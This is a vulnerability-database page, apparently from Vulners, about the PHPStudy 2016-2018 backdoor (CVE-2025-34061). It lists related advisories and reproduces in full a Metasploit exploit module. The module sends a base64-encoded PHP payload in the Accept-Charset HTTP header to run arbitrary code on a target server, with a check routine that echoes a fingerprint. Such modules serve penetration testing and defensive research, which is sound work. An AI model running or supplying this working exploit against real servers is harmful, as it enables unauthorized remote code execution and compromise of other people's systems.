PHPStudy Backdoor Remote Code execution
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| The vulnerability of the PHP web application development platform PHPPHPStudy lies in the improper encoding of the HTTP header Accept-Charset, allowing attackers to execute arbitrary code. | 9 Jul 202500:00 | – | bdu_fstec | |
| CVE-2025-34061 | 10 Mar 202012:05 | – | circl | |
| Henan Xiaopi PHPStudy 安全漏洞 | 3 Jul 202500:00 | – | cnnvd | |
| CVE-2025-34061 | 3 Jul 202519:46 | – | cve | |
| CVE-2025-34061 PHPStudy 2016-2018 Backdoor Remote Code Execution Vulnerability | 3 Jul 202519:46 | – | cvelist | |
| EUVD-2025-19906 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34061 | 3 Jul 202520:15 | – | nvd | |
| PT-2025-27824 · Phpstudy · Phpstudy | 3 Jul 202500:00 | – | ptsecurity | |
| CVE-2025-34061 | 5 Jul 202520:04 | – | redhatcve | |
| CVE-2025-34061 PHPStudy 2016-2018 Backdoor Remote Code Execution Vulnerability | 3 Jul 202519:46 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PHPStudy Backdoor Remote Code execution',
'Description' => %q{
This module can detect and exploit the backdoor of PHPStudy.
},
'License' => MSF_LICENSE,
'Author' => [
'Dimensional', # POC
'Airevan' # Metasploit Module
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['PHPStudy 2016-2018', {}]
],
'References' => [
['CVE', '2025-34061'],
['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
],
'Privileged' => false,
'DisclosureDate' => '2019-09-20',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the target file on the system, usually l.php or index.php', '/l.php'])
]
)
end
def check
uri = target_uri.path
fingerprint = Rex::Text.rand_text_alpha(8)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")
}
})
if res && res.code == 200 && res.body.to_s.include?(fingerprint)
return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
else
return Exploit::CheckCode::Safe('The target is not vulnerable')
end
end
def exploit
uri = target_uri.path
print_good('Sending shellcode')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'headers' => {
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)
}
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Sep 2019 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 49.3
EPSS0.01172
SSVC